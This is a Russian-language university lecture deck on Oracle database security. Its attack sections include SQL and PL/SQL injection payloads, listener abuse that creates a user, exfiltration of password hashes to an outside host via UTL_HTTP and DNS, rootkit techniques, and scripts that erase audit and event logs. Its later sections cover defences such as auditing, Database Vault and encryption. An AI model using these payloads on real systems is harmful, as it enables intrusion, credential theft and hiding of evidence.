Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Database security

1,156 views

Published on

Презентация к семинару по безопасности БД. МГТУ им. Баумана, ИУ8, 2012.

Published in: Technology
  • Be the first to comment

Database security

  1. 1. Безопасность  БД  
  2. 2. Некоторые  факты  о  безопасности  БД  •  Ежегодное  двухкратное  увеличение  объема  БД  (2011  год  ~   1800  экзабайт)  •  Увеличивающиеся  объемы  утечек  данных  (утечка  более  300   млн.  записей  с  персональными  данными  за  2008  год,  рост   630%  за  3  года)  •  Повышение  нормативных  требований  в  области  ИБ  •  87%  БД  взломаны  через  уязвимости  ОС  •  >  80%  атак  совершены  внутренними  нарушителями  •  Раскрывается  менее  1%  атак,  совершенных   профессионалами  •  Только  10%  стандартных  способов  взлома  становятся   общеизвестными  •  Нетехнические  атаки  наиболее  эффективны  
  3. 3. Классификация  угроз  БД   Угрозы  бизнес-­‐ процессов   Угрозы   приложений   Угрозы  СУБД   Угрозы  ОС   Угрозы   серверной   инфраструкту ры  
  4. 4. Сходство  СУБД  и  ОС  В  СУБД  и  в  ОС  есть:  •  пользователи  •  процессы  •  задания  (jobs)  •  выполняемый  программный  код  •  символьные  ссылки  (links)  Если  СУБД  –  это  разновидность  ОС,  то:  •  применимые  к  ОС  угрозы  применимы  и  к  СУБД  с   определенными  особенностями  •  в  СУБД  есть  вирусы  •  в  СУБД  есть  руткиты  
  5. 5. Этапы  процесса  взлома  СУБД   Проникновение  в   Эскалация   Закрепление  в   Скрытие  следов  Сбор  информации   СУБД   полномочий   системе   проникновения  Определение:   Определение:   ü Эскалация   ü Внедрение   Удаление  следов   привилегий   средств  для   проникновения  в  ü ОС;   ü SID  базы  данных;   текущего   сокрытия   систему  из:  ü доступных  служб;   ü имени   пользователя    до   посторонней   ü подсистемы  ü версии  СУБД   пользователя  СУБД;   роли  DBA.   активности  в   аудита  СУБД;   ü пароля   ü Получение   системе.  ü конфигурации     ü журналов  СУБД;  СУБД;   пользователя  СУБД.   пароля   пользователя   ü журналов  ОС.  ü других  продуктов  и   обладающего  сторонних   ролью  DBA.    производителей.  
  6. 6. Способы проникновения в СУБД
  7. 7. Проникновение  в  СУБД   Проникновение  в  СУБД   Служба  Listener   Web-­‐приложения   Определение  SID   Определение  SID   Определение  SID,   Специфичные  атаки  на  перебором  по  словарю/ поиском  в  настройках   пользователя  и  пароля  с   СУБД   полным  перебором   Web  -­‐приложений   помощью  SQL-­‐инъекций     Определение  имени   Определение  пароля   пользователя   перебором  по  словарю/перебором  по  словарю/ полным  перебором     полным  перебором  
  8. 8. Пример  специфичной  для  СУБД  Oracle  Database  атаки  -­‐   создание  пользователя  через  set  log_file  Изменение имени лог-файла службы TNS Listener на glogin.sqltnscmd10g.pl --rawcmd “((DESCRIPTION=((CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))((COMMAND=LOGFILE)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=/u01/app/oracle/product/10.2.0/db_1/sqlplus/admin/glogin.sql))” -h 10.0.116.175Отправка ошибочной низкоуровневой команды службе TNS Listenertnscmd10g.pl –h 10.0.116.175 –rawcmd “(CONNECT_DATA=((set term offcreate user dbhack identified by oracle_1set term on“Изменение имени лог-файла службы TNS Listener на оригинальныйtnscmd10g.pl --rawcmd “((DESCRIPTION=((CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))((COMMAND=LOGFILE)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=/u01/app/oracle/product/10.2.0/db_1/network/log/listener.log))” -h 10.0.116.175
  9. 9. SQL-­‐инъекции  в  Web-­‐приложениях   •  Результат  выполнения  SQL-­‐инъекции  возвращается  в  браузер.   Данные  могут  выводиться  в  стандартный  вывод  или  в  сообщение   Inband   об  ошибке   •  Для  вывода  результата  выполнения  SQL-­‐инъекции  используются   различные  каналы  такие,  как  HTTP,  DNS  и  т.д.  С  помощью  данного  Out-­‐of-­‐Band   подхода  возможна  передача  большого  объема  данных.   •  Различные  характеристики  запроса  такие,  как  время  выполнения/ Blind   результат  используются  для  получения  данных  из  СУБД.  
  10. 10. Inband  SQL-­‐инъекции  •  Метод основанный на использовании оператора UNION. Измененный URL-запрос: http://webapp.com/order.jsp?id=17 UNION SELECT name FROM TABLE-- Запрос, сконструированный Web-приложением: SELECT * FROM table WHERE id=’17‘ UNION SELECT name FROM USERS--•  Метод основанный на выводе результатов в сообщении обошибке. Замена строки на подзапрос для модификации сообщения об ошибке: http://webapp.com/order.cfm?id=17||utl_inaddr.get_host_name((select banner from v $version where rownum=1)) Сообщение об ошибке: Message: Error Executing Database Query. Native error code: 29257 Detail: [Macromedia][Oracle JDBC Driver][Oracle] ORA-29257: host Oracle Enterprise Edition 10.1.0.5 for Solaris unknown ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1
  11. 11. Out-­‐of-­‐Band  SQL-­‐инъекции  Отправка результатов SQL-инъекции на внешний сайт спомощью UTL_HTTP:select utl_http.request (http://www.sqlhack.com/|| (select passwordfrom dba_users where rownum=1)) from dual;Отправка результатов SQL-инъекции на внешний сайт спомощью HTTPURITYPE:select HTTPURITYPE( http://www.sqlhack.com/|| (select passwordfrom dba_users where rownum=1) ).getclob() from dual;Отправка результатов SQL-инъекции c помощью DNS-запроса (макс. 64 байта):select utl_http.request (http://www.||(select password from dba_userswhere rownum=1)||.sqlhack.com/ ) from dual;DNS-запрос:www.B3B4C4D878234234234.sqlhack.com
  12. 12. Blind  SQL-­‐инъекции  Пример возможностей для Blind SQL-инъекций: •  DECODE: •  CASE.Пример псевдокода при использовании разницы вовремени выполнения для получения информации:If the first character of the sys-hashkey is a A‘ then select count(*) from all_objectselse select count(*) from dualend if;Пример:select decode(substr(user,1,1),S,(select count(*) from all_objects),0) fromdual;Elapsed: 00:00:00.00select decode(substr(user,1,1),A,(select count(*) from all_objects),0) fromdual;Elapsed: 00:00:22.50
  13. 13. Эскалация полномочий
  14. 14. Эскалация  привилегий   (специфично  для  СУБД)  Основные  внутренние  уязвимости  СУБД  Oracle,  позволяющие  эскалировать  привилегии  до  роли  DBA  или  получить  пароль  пользователя  имеющего  роль  DBA:     •   PL/SQL-­‐инъекции;   •   Cursor-­‐инъекции;   •   Cursor  snarfing;   •   Модификация  таблиц  доступных  только  на  чтение;   •   UTL_TCP  +  TNL  Listener    +  set  log_file;   •   DBMS_SCHEDULER  +  SQLPLUS  /  AS  SYSDBA.  
  15. 15. PL/SQL-­‐инъекции  Типовая PL/SQL-инъекция через пользовательскую функцию. Необходимапривилегия CREATE PROCEDURE.CREATE OR REPLACE FUNCTION F1 return numberauthid current_user aspragma autonomous_transaction;BEGINEXECUTE IMMEDIATE GRANT DBA TO PUBLIC;COMMIT;RETURN 1;END;/exec sys.kupw$WORKER.main(x,YY and 1=user12.f1 --hitb2007);
  16. 16. Cursor-­‐инъекции  Типовая Cursor-инъекция. Для реализации достаточно обладатьтолько ролью CONNECT.DECLAREMYC NUMBER;BEGINMYC := DBMS_SQL.OPEN_CURSOR;DBMS_SQL.PARSE(MYC,declare pragma autonomous_transaction;begin execute immediate grant dba to public;commit;end;,0);sys.KUPW$WORKER.MAIN(x, and 1=dbms_sql.execute(||myc||)--);END;
  17. 17. Cursor  snarfing  Пример процедуры, некорректно Пример кода извлекающего данные изобрабатывающей курсор. некорректно обработанного курсора.CREATE OR REPLACE PROCEDURE GET_USERHASH(l_USER VARCHAR2) IS DECLARE CURSOR_NAME INTEGER; CURSOR_NAME INTEGER; v_HASH VARCHAR2(32); i_CNT INTEGER; i_CNT INTEGER; v_HASH VARCHAR2(30);BEGIN BEGIN IF l_USER != SYS THEN CURSOR_NAME := 9; CURSOR_NAME := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.BIND_VARIABLE(CURSOR_NAME, DBMS_OUTPUT.PUT_LINE(CURSOR NAME: :i,SYS); ||CURSOR_NAME); DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME, DBMS_SQL.PARSE(CURSOR_NAME,SELECT PASSWORD 1,v_HASH,30); FROM SYS.DBA_USERS WHERE i_CNT := DBMS_SQL.EXECUTE(CURSOR_NAME); USERNAME = :i, IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME) > 0 DBMS_SQL.NATIVE); THEN DBMS_SQL.BIND_VARIABLE(CURSOR_NAME, DBMS_SQL.COLUMN_VALUE(CURSOR_NAME, :i,l_USER); 1,v_HASH); DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME, END IF; 1,v_HASH,30); DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME); i_CNT := DBMS_SQL.EXECUTE(CURSOR_NAME); DBMS_OUTPUT.PUT_LINE(HASH: ||v_HASH); IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME) > 0 THEN END; DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,v_HASH); DBMS_OUTPUT.PUT_LINE(HASH: ||v_HASH); END IF; DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME); END IF;END;
  18. 18. Модификация  таблиц  доступных  только  на  чтение  При использовании специальным образом созданныхпредставлений возможно выполнение операций INSERT/DELETE/UPDATE над таблицами, доступными только дляоперации SELECT.CREATE VIEW V_HTABLE ASSELECT a.* FROM SYS.HTABLE a, SYS.HTABLE bWHERE a.id = b.id;INSERT INTO V3_HTABLE(ID,TEXT) VALUES (3,TEXT 3);COMMIT;
  19. 19. Способы закрепления в СУБД
  20. 20. Закрепление  в  системе  Руткит – программа или набор программ для скрытияследов присутствия злоумышленника или вредоноснойпрограммы в системе.Три поколения руткитов: q  Первое поколение Изменения в словарях данных (модификация представлений и процедур/изменение синонимов). q  Второе поколение Модификация бинарных файлов. q  Третье поколение Модификация данных непосредственно в серверной памяти (использование API, позволяющего модифицировать данные в памяти).
  21. 21. Руткиты  первого  поколения     (скрытие  пользователей  базы  данных)  Создание пользователя.SQL> create user hacker identified by hacker;SQL> grant dba to hacker;Список пользователейSQL> select username from dba_users;USERNAME------------------------------DBSNMPEXFSYSHACKERORDSYSSYSSYSTEM[…]
  22. 22. Руткиты  первого  поколения    (скрытие  пользователей  базы  данных)  Enterprise Manager (Java) Database Control (Web)
  23. 23. Руткиты  первого  поколения     (скрытие  пользователей  базы  данных)  Добавляем дополнительное условие в представление SYS.DBA_USERS
  24. 24. Руткиты  первого  поколения    (скрытие  пользователей  базы  данных)  Enterprise Manager (Java) Database Control (Web)
  25. 25. Руткиты  второго  поколения     (Модификация  бинарных  файлов  СУБД)  При попытки входа в систему процесс СУБД считывает аутентификационные данные из таблицы sys.user$ исравнивает их с данными введенными пользователем.
  26. 26. Руткиты  второго  поколения     (Модификация  бинарных  файлов  СУБД)  Заменяем в системном бинарном файле СУБД все вхождения строки sys.user$ на sys.аser$.
  27. 27. Руткиты  второго  поколения     (Модификация  бинарных  файлов  СУБД)  Администраторы безопасности и утилиты, используемыедля анализа безопасности, проверяют таблицу sys.user$.Системный процесс СУБД использует таблицу sys.aser$, содержащую скрытого пользователя.
  28. 28. Скрытие следов проникновения
  29. 29. Скрытие  следов  проникновения  Использование специального комментария в запросах для упрощенияпоиска записей в таблицах аудита.select /* HITB2007 */ * from dba_users;Удаление записей, содержащих запросы, помеченные специальнымкомментарием, из таблиц аудита (sys.aud$, sys.fga_log$)delete from sys.aud$ where lower(sqltext) like ‘%hitb2007%’;Удаление записей из журнала ОС специальным скриптом запущеннымс помощью DBMS_SCHEDULER.Option ExplicitOn Error Resume NextDim LogType, EventLog, EntrySet EventLog = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery _("select * fromWin32_NTEventLogFile where LogfileName=Application")For each Entry in EventLogEntry.ClearEventlog()NextWScript.QuitОчистка лога DBMS_SCHEDULER.exec DBMS_SCHEDULER.PURGE_LOG;
  30. 30. Методы защиты СУБД
  31. 31. Методы  защиты  СУБД   Защита  серверной  инфраструктуры  и  ОС   Защита  СУБД   Безопасное   Функции  и  опции   Межсетевое   Криптографическая  конфигурирование   безопасности  СУБД   экранирование   Database  firewall   Аудит   защита  данных   Защита  приложений   Безопасное  кодирование  и  стандарты   Инспекция  скриптов  БД   разработки   Параметры  приложений   Управление  безопасностью   Контроль  целостности   Аудит  событий  ИБ   Управление  полномочиями   Работа  с  персоналом  
  32. 32. Функции безопасности СУБД Oracle Database
  33. 33. Механизмы разграничения доступа •  Дискреционное разграничение доступа •  Виртуальные частные БД (VPD, FGAC, RLS, CLS)БД Oracle
  34. 34. Дискреционное разграничение доступа БД Oracle Объектные привилегии Системные привилегии Пользователи
  35. 35. Объектные привилегии
  36. 36. Роли и привилегии
  37. 37. Хранимые процедуры
  38. 38. Представления (view)
  39. 39. Fine-Grained Access Control (VPD)
  40. 40. Fine-Grained Access Control (VPD) Ограничение  доступа  к  строкам  (FGAC  RLS)  Ограничение  доступа  к  столбцам  (FGAC  CLS)  
  41. 41. Виртуальные частные БД Исходный запрос Проверка VPD: таблица: ordersSELECT * DML: SELECT FROM orders1) Пользователь выполняет запрос 2) Oracle проверяет наличие VPD- правила для данной таблицы Правило Измененный запрос SELECT *return ‘deptno = FROM orders sys_context(‘‘emp_ctx‘‘, WHERE (deptno=sys_context ‘‘dept_no‘‘)‘; (‘epm_ctx‘,‘dept_no‘)3) вызывается ф-ция myApp_SelPol 4) Oracle модифицировал запрос в соответствии с VPD-правилом
  42. 42. Встроенные возможности протоколирования и аудита•  Обязательный  аудит  •  Аудит  Базы  Данных  •  Value-­‐based  audi‡ng  (триггеры  БД)  •  Fine-­‐grained  audi‡ng  (FGA)  
  43. 43. Аудит пользователей SYSDBA и SYSOPER•  Пользователи  DBA  могут  быть  подключены  к  закрытой  БД   –  хранилище  аудита  должно  быть  вне  БД    •  Соединения  как  SYSDBA  /  SYSOPER  всегда   протоколируются    •  Включается  дополнительное  протоколирование  действий   DBA  с  audit_sys_opera‡ons  •  Хранилище  журнала  аудита  задается  audit_file_dest.  По   умолчанию:    -­‐  $ORACLE_HOME/rdbms/audit  (UNIX/Linux)    -­‐  Windows  Event  Log  (Windows)  
  44. 44. Стандартный аудит БД•  Протоколирование  использования   привилегий  пользователями  для   осуществления  доступа.  •  Настраивается  командами  AUDIT  /  NOAUDIT  •  Журнал  хранится  в  SYS.AUD$.  Доступ  через   представления  (DBA_AUDIT_TRAIL)  
  45. 45. FGA-аудит(аудит доступа к ячейкам таблицы)
  46. 46. Сравнение инструментов аудита
  47. 47. Опции безопасности Oracle Database
  48. 48. Опции безопасности Oracle Database Oracle Database Vault Oracle Label SecurityOracle Advanced Security
  49. 49. Oracle Database Vaultограничение  доступа  к  данным  приложений  со  стороны  администраторов  базы  данных  (DBA)    ограничение  полномочий  схем-­‐владельцев  объектов  обеспечение  доступа  к  данным  на  основе  динамически  настраиваемых  правил,  зависящих  от  различных  факторов  (IP-­‐адреса,  время,  метки  OLS)  разные  полномочия  в  зависимости  от  работающего  приложения  (secure  applica}on  role)    разделение  полномочий  пользователей  в  соответствии  с  их  функциональными  обязанностями  и  внутренний  контроль  
  50. 50. Функциональные элементы Защищенные областиМониторинг Многофакторная авторизация Аудит Динамическая Разграничениенастройка правил безопасности по служебным обязанностям
  51. 51. Учетные записи DV_OWNER и DV_ACCTMGR DV_OWNER: DV_ACCTMGR:•  Соединение с Database Vault •  Создание учетных Administrator записей пользователей•  Модификация конфигурации •  Управление паролями Database Vault учетных записей пользователей •  Отключение компонент безопасности / аудита
  52. 52. Пример использования защищенных областейАдминистратор БД (ADM_DBA) обращается к данным в схеме HR select * from HR.emp ADM_DBA Соответствие нормативным требованиям и стандартам внутреннего аудита HR HR Пользователь HR_DBA HR_DBA обращается к данным в схеме FIN или желает получить доступ к области HR во FIN внерабочее время FIN FIN_DBA Безопасная консолидацияприложений на одном сервере
  53. 53. Создание защищенной области HR_DBAСоздание DBA роли REALMcreate role HR_DBA Имя: Области grant dba to Текстовый комментарий HR_DBA Статус использования: Да / Нет Создание области Опции аудита: Нет / При ошибках / Всегда CREATE_REALM Определение Имя: Схемы объектасписка защищаемых Тип объекта: TABLE,ROLE,VIEW… объектов Имя: ОбъектаADD_OBJECT_TO_REAL M Определение Имя: Пользователя или Роли Тип Пользователя: Участник / Владелец списка защищаемых Зависимость типа авторизации от правил пользователей ADD_AUTH_TO_REALM
  54. 54. Правила выполнения командЗапрет  использования   •  DDL  выражений  (команд)   •  Для  указанных  или  всех  объектов  Результат  контроля  регистрируется  в  данных  аудита  Потенциальные  возможности  применения   •  Разрешение  применения  команд  в  соответствии  с  функциональными   обязанностями  (если  DBA  не  должен  управлять  пользователями,  то   команды  CREATE  USER,  ALTER  USER  запрещаются)   •  Как  инструмент  организации  бизнес-­‐процедур   •  Запрет  использования  управляющих  DDL  команд  в  отношении   используемых  таблиц  в  «рабочие  часы»   •  Сохранение  структуры  защищаемых  данных  и  контроль  (аудит)  за   проводимыми  в  них  изменениями  (отвечает  требованиям  SOX  или  HIPPA)  
  55. 55. Контролируемые команды  Alter  Database  Alter  Database  Alter  Table  Alter  Func}on  Audit    Alter  Tablespace  Alter  Package  Body  Alter  Procedure  Alter  Profile  Alter  Session  Alter  System  Alter  Synonym  Alter  Table    Alter  Trigger    Alter  User  Password    Alter  Tablespace  Alter  View  Change  Password  Connect    Comment  Create  Func}on  Create  Index  Create  Package  Create  Database  Link  Create  Procedure  Create  Role  Create  Package  Body  Create  User    Create  View  Create  Table    Grant    Insert  Noaudit    Rename    Lock  Table  Create  Tablespace  Create  Trigger  Truncate  Table  Update    Insert    Delete  Execute    Select  
  56. 56. Группы правил create_rule_set Rule_set Создание группы Правил группа Правил create_rule Rule A правило Создание Правила «А» Rule B правило Создание Правила «B» Rule C правило Создание Правила «C» Создание СПИСКА правил Опции ü результат (ALL true или ANY true)(в порядке выполнения) ü отображение сообщения об ошибке и его текст в группе ü использование Custom Event Handleradd_rule_to_rule_set
  57. 57. ФакторыБазовые  блоки  для  реализации  мандатного  способа  доступа  (MAC)   •  Доступны  в  приложениях  через  PL/SQL  функции   •  Используются  при  создании  Oracle  Database  Vault  для  обеспечения  безопасности   приложений   •  Администратор  может  управлять  Oracle  Database  Vault  MAC  с  использованием   GUI  или  PL/SQL  API   •  Защита  данных  и  аудит  нарушений  требований  политик  безопасности,  бизнес-­‐ процедур.  (SOX,HIPPA)  Атрибуты  и  опции  конфигурации   •  Retrieval  Method  –  PL/SQL  выражение  (функция)   •  Valida}on  Method  –  PL/SQL  выражение  (функция)   •  Iden}fied  By  –  интеграция  с  другими  факторами   •  Labeled  By  –  интеграция  с  Oracle  Label  Security  или  VPD  
  58. 58. Предопределенные факторыAuthentication Session Database Client IP Name Method User Database Database Domain Machine Name Instance Proxy Network Enterprise Database IP Enterprise Protocol Identity Identity Database Language Hostname Date Time
  59. 59. Secure application rolesecure  applica}on  role  –  это  роль  БД,  которую  можно  включить  только  используя  специальную  PL/SQL  процедуру  Database  Vault  Administrator  может  создать  роли,  включение  которых  зависит  от  определенных  наборов  правил  приложения  могут  использовать  Database  Vault  API  для  установки  роли  с  ролью  могут  быть  ассоциированы  необходимые  привилегии  
  60. 60. Использование Secure Application Role
  61. 61. Мониторинг
  62. 62. Oracle Label SecurityЭффективное  средство  обеспечения  доступа  на  уровне  строк  Отвечает  строгим  требованиям  государственных  и  коммерческих  организаций  Данным  присваиваются  специальные  метки  Гибкая  настройка  с  помощью  GUI  или  API    Нет  необходимости  кодировать  логику  на  PL/SQL  Политика  безопасности  выборочна  и  применяется  когда  необходимо  Гранулированность  меток  Соответствует  ISO/IEC  15408  Common  Criteria  EAL  
  63. 63. Политики безопасностиПолитика  –  имя,  ассоциированное  с  набором  меток  для  авторизации  пользователей  и  защищаемых  объектов  В  одной  базе  данных  с  OLS  может  быть  определено  множество  политик  Каждая  политика  ассоциируется  с  уникальным  именем  столбца  защищаемой  таблицы,  который  добавляется  в  защищаемую  таблицу  (может  использоваться  имеющийся  столбец)   •  столбец  может  быть  скрыт   •  тип  данных  столбца  -­‐  number(10)  Политики  применимы  к  таблицам  и  схемам  
  64. 64. Мандатное разграничение доступа Структура метки: •  уровень (несекретно, конфиденциально, секретно, сов.секретно, особой важности) •  категория (финансовая, административная, военная) •  группа (руководство, рядовые сотрудники) Пример метки: TS:FIN,ADM:CHIEF
  65. 65. Мандатное разграничение доступаПояснение: группа WR_SAL входит в группу WR
  66. 66. Oracle Advanced Security•  Прозрачное шифрование данных в БД (TDE)•  Поддержка взаимной аутентификации•  Поддержка single sign-on•  Поддерживает следующих технологий аутентификации: - Public key infrastructure (PKI) - RADIUS - Kerberos - Token и smart карты - Biometrics - Distributed Computing Environment•  Интегрировано с Oracle Net Services
  67. 67. Особенности прозрачного шифрования данных в БД (TDE) Приложение Шифрование данных, передаваемых по сетиПри записи данных они Преобразование данных преобразуются к к простому форматузащищенному формату при чтении Резервные копии данных сохраняются в защищенном формате
  68. 68. Права доступа Пароль для доступа к данным отличается от System и DBA паролей Нет доступа к walletDatabase DBA Доступ к данным Мастер-ключ разрешен Пароль
  69. 69. Ключи Ключи для колонок защищены мастер-ключемМастер-ключ хранится в PKCS#12 wallet Защищенные колонки таблиц
  70. 70. Создание ключа шифрованияСоздать wallet и сгенерировать мастер-ключ: alter system set key identified by “oracle_1” Открыть wallet: alter system set wallet open identified by “oracle_1”
  71. 71. Защита колонокЗащита колонки в существующей таблице: alter table credit_rating modify (person_id encrypt);Создание новой таблицы с защищенной колонкой: create table orders ( order_id number (12), customer_id number(12), credit_card varchar2(16) encrypt);
  72. 72. Индексирование для защищенных колонок Alter table credit_rating modify (person_id encrypt no salt) Create index person_id_idx on credit_rating (PERSON_ID) Select score from credit_rating where PERSON_ID=235901;Не требуется изменять приложение
  73. 73. Алгоритмы шифрованияАлгоритм защиты по умолчанию - AES 192-bit alter table credit_rating modify (person_id encrypt); Создание новой таблицы с использованием других алгоритмов защиты: create table employee ( first_name varchar2(64), last_name varchar2(64), empID NUMBER encrypt using ‘AES256’, salary NUMBER(6) encrypt using ‘AES256‘)

×